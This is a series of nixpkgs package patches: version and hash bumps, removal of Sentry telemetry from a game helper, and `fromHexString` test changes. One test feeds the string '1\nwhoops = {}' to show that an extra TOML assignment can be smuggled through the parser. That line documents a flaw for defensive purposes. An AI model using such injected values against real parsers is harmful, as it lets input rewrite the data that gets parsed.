@@ -28,13 +28,14 @@ in
 
 stdenv.mkDerivation rec {
   pname = "tiled";
-  version = "1.11.90";
+  # nixpkgs-update: no auto update
+  version = "1.11.2";
 
   src = fetchFromGitHub {
     owner = "mapeditor";
     repo = pname;
     rev = "v${version}";
-    sha256 = "sha256-gGsozdFEE5c315DF+EsIY9wGv50wwrOBycejTkVwEHA=";
+    sha256 = "sha256-9oUKn51MQcsStgIJrp9XW5YAIpAUcO0kzfGnYA3gz/E=";
   };
 
   nativeBuildInputs = [

From b591001250842aa1ae470523d45274243926a853 Mon Sep 17 00:00:00 2001
From: Emily <vcs@emily.moe>
Date: Thu, 14 Aug 2025 20:57:04 +0100
Subject: [PATCH 3590/4511] lib: add `fromHexString` tests for distressing
 behaviour
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This was cherry‐picked from
<https://github.com/NixOS/nixpkgs/pull/266705> and merged as part of
<https://github.com/NixOS/nixpkgs/pull/318712>, despite there being
a blocking review on the former pointing out these kinds of issues.

This documents some of the dodgy behaviour. It also can’t handle
negative literals. It might be worth considering deprecating and
dropping this, by inlining it into `lib.network.ipv6.fromString`,
its only in‐tree user.

(cherry picked from commit 6673e05ad065b0f2388c94cc3b3445f9f7da780e)
---
 lib/tests/misc.nix | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/lib/tests/misc.nix b/lib/tests/misc.nix
index 99b335cdb295..8fd02e49cded 100644
--- a/lib/tests/misc.nix
+++ b/lib/tests/misc.nix
@@ -390,6 +390,30 @@ runTests {
     expected = 15;
   };
 
+  # FIXME: This might be bad and should potentially be deprecated.
+  testFromHexStringQuestionableMixedCase = {
+    expr = fromHexString "eEeEe";
+    expected = 978670;
+  };
+
+  # FIXME: This is probably bad and should potentially be deprecated.
+  testFromHexStringQuestionableUnderscore = {
+    expr = fromHexString "F_f";
+    expected = 255;
+  };
+
+  # FIXME: This is definitely bad and should be deprecated.
+  testFromHexStringBadComment = {
+    expr = fromHexString "0 # oops";
+    expected = 0;
+  };
+
+  # FIXME: Oh my god.
+  testFromHexStringAwfulInjection = {
+    expr = fromHexString "1\nwhoops = {}";
+    expected = 1;
+  };
+
   testToBaseDigits = {
     expr = toBaseDigits 2 6;
     expected = [

From fce01f7d71457982563557b4dac3d24e91ba40eb Mon Sep 17 00:00:00 2001
From: Emily <vcs@emily.moe>
Date: Thu, 14 Aug 2025 15:41:55 +0100
Subject: [PATCH 3591/4511] lib: fix overflowing `fromHexString` tests and
 example
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

`fromHexString` is backed by `builtins.fromTOML`. Per [the TOML
v1.0.0 specification]:

> Arbitrary 64-bit signed integers (from −2^63 to 2^63−1) should be
> accepted and handled losslessly. If an integer cannot be represented
> losslessly, an error must be thrown.

[the TOML v1.0.0 specification]: <https://toml.io/en/v1.0.0#integer>

The saturating behaviour of the toml11 version currently used
by Nix is not lossless, and is therefore a violation of the TOML
specification. We should not be relying on it. This blocks the update
of toml11, as it became stricter about reporting this condition.

This, yes, is arguably an evaluation compatibility break. However,
integer overflow was recently explicitly defined as an error by
both Nix and Lix, as opposed to the C++ undefined behaviour it was
previously implemented as:

* <https://nix.dev/manual/nix/stable/release-notes/rl-2.25>
* <https://docs.lix.systems/manual/lix/stable/release-notes/rl-2.91.html#fixes>

This included changing `builtins.fromJSON` to explicitly
reject overflowing integer literals. I believe that the case for
`builtins.fromTOML` is comparable, and that we are effectively testing
undefined behaviour in TOML and the Nix language here, in the same way
that we would have been if we had tests relying on overflowing integer
arithmetic. I am not aware of any use of this behaviour outside of
these tests; the reverted toml11 bump in Nix did not break the 23.11
evaluation regression test, for example.

C++ undefined behaviour is not involved here, as toml11 used the C++
formatted input functions that are specified to saturate on invalid
values. But it’s still a violation of the TOML specification caused
by insufficient error checking in the old version of the library,
and inconsistent with the handling of overflowing literals in the
rest of Nix.

Let’s fix this so that Nix implementations can correctly flag up
this error and we can unblock the toml11 update.

(cherry picked from commit 449ad44f163198718caaf8bc89080e6187418dc9)
---
 lib/tests/misc.nix | 5 +++--
 lib/trivial.nix    | 2 +-
 2 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/lib/tests/misc.nix b/lib/tests/misc.nix
index 8fd02e49cded..a44561fb1e69 100644
--- a/lib/tests/misc.nix
+++ b/lib/tests/misc.nix
@@ -380,8 +380,9 @@ runTests {
     expected = 255;
   };
 
-  testFromHexStringSecondExample = {
-    expr = fromHexString (builtins.hashString "sha256" "test");
+  # Highest supported integer value in Nix.
+  testFromHexStringMaximum = {
+    expr = fromHexString "7fffffffffffffff";
     expected = 9223372036854775807;
   };
 
diff --git a/lib/trivial.nix b/lib/trivial.nix
index eba6dd69b12e..ada83b8fb4be 100644
--- a/lib/trivial.nix
+++ b/lib/trivial.nix
@@ -1114,7 +1114,7 @@ in
     fromHexString "FF"
     => 255
 
-    fromHexString (builtins.hashString "sha256" "test")
+    fromHexString "0x7fffffffffffffff"
     => 9223372036854775807
     ```
   */

From 7f82e7f20b954cfd7630b7d3073e4e4f89bab5c9 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 15 Aug 2025 16:31:41 -0400
Subject: [PATCH 3592/4511] lxc: 6.0.4 -> 6.0.5

https://discuss.linuxcontainers.org/t/lxc-6-0-5-lts-has-been-released/24438

Diff: https://github.com/lxc/lxc/compare/v6.0.4...v6.0.5
(cherry picked from commit db7c9dc0e02d9305dee435542b6377fc1f1c6c2a)
---
 pkgs/by-name/lx/lxc/package.nix | 12 ++----------
 1 file changed, 2 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/lx/lxc/package.nix b/pkgs/by-name/lx/lxc/package.nix
index 14b13e73527d..12507f26ed99 100644
--- a/pkgs/by-name/lx/lxc/package.nix
+++ b/pkgs/by-name/lx/lxc/package.nix
@@ -17,19 +17,18 @@
   pkg-config,
   systemd,
 
-  fetchpatch,
   nix-update-script,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lxc";
-  version = "6.0.4";
+  version = "6.0.5";
 
   src = fetchFromGitHub {
     owner = "lxc";
     repo = "lxc";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-zmL568PprrpIWTVCkScXHEzTZ+NduSH4r8ETnz4NY64=";
+    hash = "sha256-bnvKSs7w1cq3vP2BzX4kfDrGUIFhU4Fnu5pM81jPVQ8=";
   };
 
   nativeBuildInputs = [
@@ -58,13 +57,6 @@ stdenv.mkDerivation (finalAttrs: {
     # Fix hardcoded path of lxc-user-nic
     # This is needed to use unprivileged containers
     ./user-nic.diff
-
-    # Fixes https://github.com/zabbly/incus/issues/81
-    (fetchpatch {
-      name = "4536.patch";
-      url = "https://patch-diff.githubusercontent.com/raw/lxc/lxc/pull/4536.patch";
-      hash = "sha256-yEqK9deO2MhfPROPfBw44Z752Mc5bR8DBKl1KrGC+5c=";
-    })
   ];
 
   mesonFlags = [

From 6afbe0ba328e555be04f449d705505735b2723f9 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 15 Aug 2025 16:32:08 -0400
Subject: [PATCH 3593/4511] lxcfs: 6.0.4 -> 6.0.5

https://discuss.linuxcontainers.org/t/lxcfs-6-0-5-lts-has-been-released/24437

Diff: https://github.com/lxc/lxcfs/compare/v6.0.4...v6.0.5
(cherry picked from commit 50735f2396756053d01c2b8e4a65856cce1abc71)
---
 pkgs/by-name/lx/lxcfs/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lx/lxcfs/package.nix b/pkgs/by-name/lx/lxcfs/package.nix
index e62bf4aa2f3e..b03a96499a2f 100644
--- a/pkgs/by-name/lx/lxcfs/package.nix
+++ b/pkgs/by-name/lx/lxcfs/package.nix
@@ -17,13 +17,13 @@
 
 stdenv.mkDerivation rec {
   pname = "lxcfs";
-  version = "6.0.4";
+  version = "6.0.5";
 
   src = fetchFromGitHub {
     owner = "lxc";
     repo = "lxcfs";
     tag = "v${version}";
-    hash = "sha256-jmadClC/3nHfNL+F/gC5NM6u03OE9flEVtPU28nylw4=";
+    hash = "sha256-mRTM06QyWcB4XOi0w2qvyDABGuu1SPJX0gjlBktDOac=";
   };
 
   patches = [

From bd8683d8ebc3b398e9efd7d8f2fd869dfe70556d Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 15 Aug 2025 20:34:55 +0000
Subject: [PATCH 3594/4511] incus-lts: 6.0.4 -> 6.0.5

https://github.com/lxc/incus/releases/tag/v6.0.5

https://discuss.linuxcontainers.org/t/incus-6-0-5-lts-has-been-released/24445
(cherry picked from commit fccd5e622c753e452e3abb4522e789cf7f2a3efd)
---
 pkgs/by-name/in/incus/lts.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/in/incus/lts.nix b/pkgs/by-name/in/incus/lts.nix
index f7e89ba71bf3..b051c64460c8 100644
--- a/pkgs/by-name/in/incus/lts.nix
+++ b/pkgs/by-name/in/incus/lts.nix
@@ -1,7 +1,7 @@
 import ./generic.nix {
-  hash = "sha256-zwefzCmj4K1GJRbherOS28swLoGbHnUxbF9bmLOh738=";
-  version = "6.0.4";
-  vendorHash = "sha256-4of741V2ztxkyI2r5UVEL5ON/9kaDTygosLxyTw6ShQ=";
+  hash = "sha256-B29HLuw48j7/Er7p/sHen7ohbbACsAjzPr9Nn8eZNR0=";
+  version = "6.0.5";
+  vendorHash = "sha256-KOJqPvp+w7G505ZMJ1weRD2SATmfq1aeyCqmbJ6WMAY=";
   patches = [
     # qemu 9.1 compat, remove when added to LTS
     ./572afb06f66f83ca95efa1b9386fceeaa1c9e11b.patch

From e4482214ebc8302096e69dd3e509198f3b92a6ff Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marcell=20T=C3=B3th?= <elfenermarcell@gmail.com>
Date: Fri, 8 Aug 2025 15:29:32 +0200
Subject: [PATCH 3595/4511] ed-odyssey-materials-helper: remove sentry

(cherry picked from commit f763304c6e86c1db362c8135c292d0a06e2f9d93)
---
 .../ed-odyssey-materials-helper/package.nix   |  8 ++-
 .../remove-sentry.patch                       | 53 +++++++++++++++++++
 2 files changed, 56 insertions(+), 5 deletions(-)
 create mode 100644 pkgs/by-name/ed/ed-odyssey-materials-helper/remove-sentry.patch

diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
index fcbf251f434e..7a6ba9e3d327 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
@@ -40,6 +40,9 @@ stdenv.mkDerivation rec {
     # so this removes 1) the popup about it when you first start the program, 2) the option in the settings
     # and makes the program always know that it is set up
     ./remove-urlscheme-settings.patch
+
+    # Upstream requested that sentry is only to be used with official builds, remove it so it doesn't complain about the lack of DSN
+    ./remove-sentry.patch
   ];
   postPatch = ''
     # oslib doesn't seem to do releases and hasn't had a change since 2021, so always use commit d6ee6549bb
@@ -71,11 +74,6 @@ stdenv.mkDerivation rec {
 
   gradleBuildTask = "application:jpackage";
 
-  env = {
-    # The source no longer contains this, so this has been extracted from the binary releases
-    SENTRY_DSN = "https://1aacf97280717f749dfc93a1713f9551@o4507814449774592.ingest.de.sentry.io/4507814504759376";
-  };
-
   installPhase = ''
     runHook preInstall
 
diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/remove-sentry.patch b/pkgs/by-name/ed/ed-odyssey-materials-helper/remove-sentry.patch
new file mode 100644
index 000000000000..16da10edb102
--- /dev/null
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/remove-sentry.patch
@@ -0,0 +1,53 @@
+diff --git a/application/src/main/java/nl/jixxed/eliteodysseymaterials/Main.java b/application/src/main/java/nl/jixxed/eliteodysseymaterials/Main.java
+index 04b101f0..2e589e12 100644
+--- a/application/src/main/java/nl/jixxed/eliteodysseymaterials/Main.java
++++ b/application/src/main/java/nl/jixxed/eliteodysseymaterials/Main.java
+@@ -51,48 +51,6 @@ public class Main {
+                 System.exit(0);
+             }
+             log.info("launching app with java version: " + getVersion());
+-            if (System.getProperty("sentry.dsn") == null || System.getProperty("sentry.dsn").isBlank() || System.getProperty("sentry.dsn").equals("null")) {
+-                log.error("Sentry DSN is not set. Please set the DSN.");
+-            }
+-            Sentry.init(options -> {
+-
+-                final String buildVersion = getBuildVersion();
+-                options.setDsn(System.getProperty("sentry.dsn"));
+-                options.setEnvironment(getEnvironment(buildVersion));
+-                options.setRelease("edomh-app@" + buildVersion);
+-                options.setEnabled(!buildVersion.equals("dev"));
+-                options.setBeforeSend((event, hint) -> {
+-                    if (!VersionService.isLatestVersion()) {
+-                        return null;  // Returning null prevents the event from being sent to Sentry
+-                    }
+-                    if (Duration.between(lastSentTime, Instant.now()).getSeconds() < 30) {
+-                        return null;  // Throttle if less than 30 seconds have passed
+-                    }
+-                    lastSentTime = Instant.now();
+-                    String supportFile = "";
+-                    try {
+-                        supportFile = SupportService.createSupportPackage();
+-                    } catch (Exception e) {
+-                        log.error("Failed to create support package", e);
+-                    }
+-                    if (!supportFile.isBlank()) {
+-                        Attachment attachment = new Attachment(supportFile);
+-                        hint.addAttachment(attachment);
+-                    }
+-                    OperatingSystem os = new OperatingSystem();
+-                    os.setName(System.getProperty("os.name"));
+-                    os.setVersion(System.getProperty("os.version"));
+-                    os.setBuild(System.getProperty("os.arch"));
+-                    event.getContexts().setOperatingSystem(os);
+-                    if (APPLICATION_STATE.getFileheader() != null) {
+-                        event.setTag("game.version", APPLICATION_STATE.getFileheader().getGameversion());
+-                        event.setTag("game.build", APPLICATION_STATE.getFileheader().getBuild());
+-                        event.setTag("game.language", APPLICATION_STATE.getFileheader().getLanguage());
+-                        event.setTag("game.odyssey", String.valueOf(APPLICATION_STATE.getFileheader().getOdyssey()));
+-                    }
+-                    return event;
+-                });
+-            });
+             FXApplication.launchFx(args);
+         }
+     }

From f799ddc07630621157a4b40cffeaad804b287343 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 13 Aug 2025 03:31:31 +0000
Subject: [PATCH 3596/4511] firefox-beta-unwrapped: 142.0b8 -> 142.0b9

(cherry picked from commit 4929cbe936d31a3f670371b448473d77fd01a618)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index 85ef3908b0fd..9a55f3cf51b5 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "142.0b8";
+  version = "142.0b9";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "048325c583dc3c6716be3fcb9d793448ab6e2b18b7b5f7d6aafa76cbc9e790489f7cd59644ded4b7e7929e19021e04b21e5d11c298057bb60fe018a791494ce8";
+    sha512 = "5a350ce0907977aa5d803801f6d00a4b91f2f2f29994a5951c48ee39f7b3b87843e992950890e59fb7a897e0912461d5661361c89e0deb59da226d1aac7d95ef";
   };
 
   meta = {

From 2badaa0140c05113d6f1605ed38e5318c0701237 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 16 Aug 2025 10:01:16 +0000
Subject: [PATCH 3597/4511] firefox-devedition-unwrapped: 142.0b8 -> 142.0b9

(cherry picked from commit 59d01ab59fec4a2e8777b9e96a036f8dc3f4ee18)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index 50d327a69b93..5b38270109bf 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "142.0b8";
+  version = "142.0b9";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "a5a89cdbfe3e05e6d329011476d571625094546e0eb2bea4f4ce426fd8d6ce23ce51ce19fd0a4d44ea7cb134d3f6c1510dcc1403d6aab5981862845a250c9dae";
+    sha512 = "1223065e5c614be9b72f3306daebc98e032d993797bab4d8e646523dfcd9aa554f442b302a32e6281ebb41fcbed49f63097a58fef2a612ae8ff0371f670bad3c";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From a38e4c82ef5a215964903200f12ec4f85e93a8da Mon Sep 17 00:00:00 2001
From: dish <pyrox@pyrox.dev>
Date: Tue, 12 Aug 2025 13:11:50 -0400
Subject: [PATCH 3598/4511] rst2pdf: fix build failure

(cherry picked from commit b1a40db764bd1ca377ddb0087027a7da9ac38652)
---
 pkgs/development/python-modules/rst2pdf/default.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/development/python-modules/rst2pdf/default.nix b/pkgs/development/python-modules/rst2pdf/default.nix
index 4a4f297b4b55..2c8293672bc9 100644
--- a/pkgs/development/python-modules/rst2pdf/default.nix
+++ b/pkgs/development/python-modules/rst2pdf/default.nix
@@ -30,6 +30,8 @@ buildPythonPackage rec {
     hash = "sha256-P/6BbUsyda7iG4/90Isua+TXWQzYixifczy8aZbWN4Y=";
   };
 
+  pythonRelaxDeps = [ "packaging" ];
+
   outputs = [
     "out"
     "man"

From 5590ead4e6a6839fbeaa3c4831dcfe03037e5882 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sat, 16 Aug 2025 14:42:08 +0200
Subject: [PATCH 3599/4511] wofi-power-menu: use makeBinaryWrapper

(cherry picked from commit d1c502295517b9769ee1ca8abf8ef3df9722b3c1)
---
 pkgs/by-name/wo/wofi-power-menu/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wo/wofi-power-menu/package.nix b/pkgs/by-name/wo/wofi-power-menu/package.nix
index da3c7ba5791c..ec993ac58fed 100644
--- a/pkgs/by-name/wo/wofi-power-menu/package.nix
+++ b/pkgs/by-name/wo/wofi-power-menu/package.nix
@@ -2,7 +2,7 @@
   lib,
   rustPlatform,
   fetchFromGitHub,
-  makeWrapper,
+  makeBinaryWrapper,
   wofi,
   versionCheckHook,
   nix-update-script,
@@ -21,7 +21,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   cargoHash = "sha256-PWPMBYmB1lyCJFhodNSCicYJy29vEUx6k9ScQTPbZdg=";
 
-  nativeBuildInputs = [ makeWrapper ];
+  nativeBuildInputs = [ makeBinaryWrapper ];
 
   postInstall = ''
     wrapProgram $out/bin/wofi-power-menu \

From 8bf7ed0ce10e4690c71487bef7e1e120b157d2ab Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sat, 16 Aug 2025 12:23:25 +0000
Subject: [PATCH 3600/4511] wofi-power-menu: 0.3.0 -> 0.3.1

Changelog: https://github.com/szaffarano/wofi-power-menu/releases/tag/v0.3.1
Diff: https://github.com/szaffarano/wofi-power-menu/compare/v0.3.0...v0.3.1
(cherry picked from commit 694bb7a3a2a9e6e5bc69fbbcf88767fc9ce2e7bc)
---
 pkgs/by-name/wo/wofi-power-menu/package.nix | 16 ++++++++++++----
 1 file changed, 12 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/wo/wofi-power-menu/package.nix b/pkgs/by-name/wo/wofi-power-menu/package.nix
index ec993ac58fed..a30b9e7bad72 100644
--- a/pkgs/by-name/wo/wofi-power-menu/package.nix
+++ b/pkgs/by-name/wo/wofi-power-menu/package.nix
@@ -6,22 +6,30 @@
   wofi,
   versionCheckHook,
   nix-update-script,
+  yq,
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "wofi-power-menu";
-  version = "0.3.0";
+  version = "0.3.1";
 
   src = fetchFromGitHub {
     owner = "szaffarano";
     repo = "wofi-power-menu";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-/MoMgOrpM0KHIyxqOJmC5N5NddOVVfTs5fDt1/yiBtQ=";
+    hash = "sha256-3m4zTmjYn1WGdW5dY4tzYxOxdw0spwYxZFRhdBwWf2I=";
   };
 
-  cargoHash = "sha256-PWPMBYmB1lyCJFhodNSCicYJy29vEUx6k9ScQTPbZdg=";
+  postPatch = ''
+    tomlq -ti '.package.version = "0.3.1"' Cargo.toml
+  '';
 
-  nativeBuildInputs = [ makeBinaryWrapper ];
+  cargoHash = "sha256-5txhSjCXlGqTmeG9EO1AUbt4syrTD62g4LtfO6nhAes=";
+
+  nativeBuildInputs = [
+    makeBinaryWrapper
+    yq # for `tomlq`
+  ];
 
   postInstall = ''
     wrapProgram $out/bin/wofi-power-menu \

From 14259668ab312c3672708a75ec8330a52a13a9af Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sat, 16 Aug 2025 02:08:20 +0200
Subject: [PATCH 3601/4511] cacert: 3.114 -> 3.115

https://groups.google.com/a/mozilla.org/g/dev-tech-crypto/c/Ztj7XiauJMM
(cherry picked from commit 6cf981fd63fc6e57ceea7c5914c3951a1c21748a)
---
 pkgs/by-name/ca/cacert/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ca/cacert/package.nix b/pkgs/by-name/ca/cacert/package.nix
index 67f54f65cc11..281b77a8a922 100644
--- a/pkgs/by-name/ca/cacert/package.nix
+++ b/pkgs/by-name/ca/cacert/package.nix
@@ -23,7 +23,7 @@ let
     lib.concatStringsSep "\n\n" extraCertificateStrings
   );
 
-  srcVersion = "3.114";
+  srcVersion = "3.115";
   version = if nssOverride != null then nssOverride.version else srcVersion;
   meta = with lib; {
     homepage = "https://curl.haxx.se/docs/caextract.html";
@@ -47,7 +47,7 @@ let
           owner = "nss-dev";
           repo = "nss";
           rev = "NSS_${lib.replaceStrings [ "." ] [ "_" ] version}_RTM";
-          hash = "sha256-YVtXk1U9JtqfOH7+m/+bUI/yXJcydqjjGbCy/5xbMe8=";
+          hash = "sha256-8PeFeaIOtjBZJLBx3ONwZlK5SaLnjKEFoZWvVsu/3tA=";
         };
 
     dontBuild = true;

From 76b6fd2b3b92107a1f45480beab01eb9119b6b22 Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Sat, 16 Aug 2025 06:37:23 +0000
Subject: [PATCH 3602/4511] google-chrome: 139.0.7258.66 -> 139.0.7258.127

(cherry picked from commit c7ccf10ae40f8cd698a1c61b6eee53a53eea73d1)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index bd8778ecc1d3..e8f553715483 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -170,11 +170,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "139.0.7258.66";
+    version = "139.0.7258.127";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-DY1hFlYKVSWRYuK1DGaqxr4x+kEmXnr/GsKBC39rCxk=";
+      hash = "sha256-84T/yRj7KBPybttKSRLN7sP1Ki8C8qfo3OKfZI/vAP8=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -275,11 +275,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "139.0.7258.67";
+    version = "139.0.7258.128";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/l4kjdkw5j5zarcsucmoo3n4idi_139.0.7258.67/GoogleChrome-139.0.7258.67.dmg";
-      hash = "sha256-IfJlHRpMZy1DFmOC6yZ5dphchdOSvUYf7s3+ngQ7pL4=";
+      url = "http://dl.google.com/release2/chrome/kg4v265dmolyd75txmmp4a5np4_139.0.7258.128/GoogleChrome-139.0.7258.128.dmg";
+      hash = "sha256-UzCkawKshzXoi2FK34QxwHXyHIsjDeu8BxL2+p7t9W8=";
     };
 
     dontPatch = true;

From 37e5cde4a676ae3ec39036da33c195394a1ec1e6 Mon Sep 17 00:00:00 2001
From: Petr Portnov <mrjarviscraft+nix@gmail.com>
Date: Tue, 27 May 2025 17:52:05 +0300
Subject: [PATCH 3603/4511] chatzone-desktop: 5.3.0 -> 5.3.2

(cherry picked from commit d2e750deebe66a7f718d2ea3595e0b1677536e7c)
---
 pkgs/by-name/ch/chatzone-desktop/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ch/chatzone-desktop/package.nix b/pkgs/by-name/ch/chatzone-desktop/package.nix
index ccceab6659f0..40d3e792eb5d 100644
--- a/pkgs/by-name/ch/chatzone-desktop/package.nix
+++ b/pkgs/by-name/ch/chatzone-desktop/package.nix
@@ -10,10 +10,10 @@
 
 let
   pname = "chatzone-desktop";
-  version = "5.3.0";
+  version = "5.3.2";
   src = fetchurl {
-    url = "https://cdn1.ozone.ru/s3/chatzone-clients/ci/5.3.0/736/chatzone-desktop-linux-5.3.0.AppImage";
-    hash = "sha256-aCu3ZqCBLU4oqf/MnAjwzF/y2CHX0NS9C+eXg46VaY4=";
+    url = "https://cdn1.ozone.ru/s3/chatzone-clients/ci/5.3.2/787/chatzone-desktop-linux-5.3.2.AppImage";
+    hash = "sha256-+GzrLNFhdzB+mOmSOiZP+W9sCSF2Mfdxu6Xkgmz1Fuo=";
   };
   appimageContents = appimageTools.extract { inherit pname version src; };
 in

From 857e2f31591f33a0d47460d610e2f34576232e79 Mon Sep 17 00:00:00 2001
From: Petr Portnov <mrjarviscraft+nix@gmail.com>
Date: Sat, 16 Aug 2025 16:38:38 +0300
Subject: [PATCH 3604/4511] chatzone-desktop: 5.3.2 -> 5.4.1

(cherry picked from commit dc9ba216ce9b2d1e2525535834ea3ded93c6a415)
---
 pkgs/by-name/ch/chatzone-desktop/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ch/chatzone-desktop/package.nix b/pkgs/by-name/ch/chatzone-desktop/package.nix
index 40d3e792eb5d..8937af5b3287 100644
--- a/pkgs/by-name/ch/chatzone-desktop/package.nix
+++ b/pkgs/by-name/ch/chatzone-desktop/package.nix
@@ -10,10 +10,10 @@
 
 let
   pname = "chatzone-desktop";
-  version = "5.3.2";
+  version = "5.4.1";
   src = fetchurl {
-    url = "https://cdn1.ozone.ru/s3/chatzone-clients/ci/5.3.2/787/chatzone-desktop-linux-5.3.2.AppImage";
-    hash = "sha256-+GzrLNFhdzB+mOmSOiZP+W9sCSF2Mfdxu6Xkgmz1Fuo=";
+    url = "https://cdn1.ozone.ru/s3/chatzone-clients/ci/5.4.1/872/chatzone-desktop-linux-5.4.1.AppImage";
+    hash = "sha256-ONr8rIP7oXtafACkW4fDHfYew83F4R8un+hGdVI75iA=";
   };
   appimageContents = appimageTools.extract { inherit pname version src; };
 in

From 66c8e771cc2b414473042da8d798bd0a465df13c Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sat, 16 Aug 2025 12:22:12 +0000
Subject: [PATCH 3605/4511] ncdu: 2.8.2 -> 2.9

Changelog: https://dev.yorhel.nl/ncdu/changes2
(cherry picked from commit 3cd767618811404d971a19e387ef8e7b523c4878)
---
 pkgs/by-name/nc/ncdu/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/nc/ncdu/package.nix b/pkgs/by-name/nc/ncdu/package.nix
index 290a01bb35fb..90e3869f525c 100644
--- a/pkgs/by-name/nc/ncdu/package.nix
+++ b/pkgs/by-name/nc/ncdu/package.nix
@@ -13,11 +13,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "ncdu";
-  version = "2.8.2";
+  version = "2.9";
 
   src = fetchurl {
     url = "https://dev.yorhel.nl/download/ncdu-${finalAttrs.version}.tar.gz";
-    hash = "sha256-Ai+nZdNaeXl6zcgMgxcH30PJo7pg0a4+bqTMG3osAT0=";
+    hash = "sha256-dfCsO85PwBLoGYtyUY21F56QMHmFjvzgi5EtXcxwlNM=";
   };
 
   nativeBuildInputs = [

From 538b5c477ec0eb65716cc2b91ab597b2708fc399 Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Sat, 16 Aug 2025 12:40:22 +0530
Subject: [PATCH 3606/4511] limine: 9.5.4 -> 9.6.1

(cherry picked from commit a461d7e46658f0136058586a02fcf9e9f38237fa)
---
 pkgs/by-name/li/limine/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

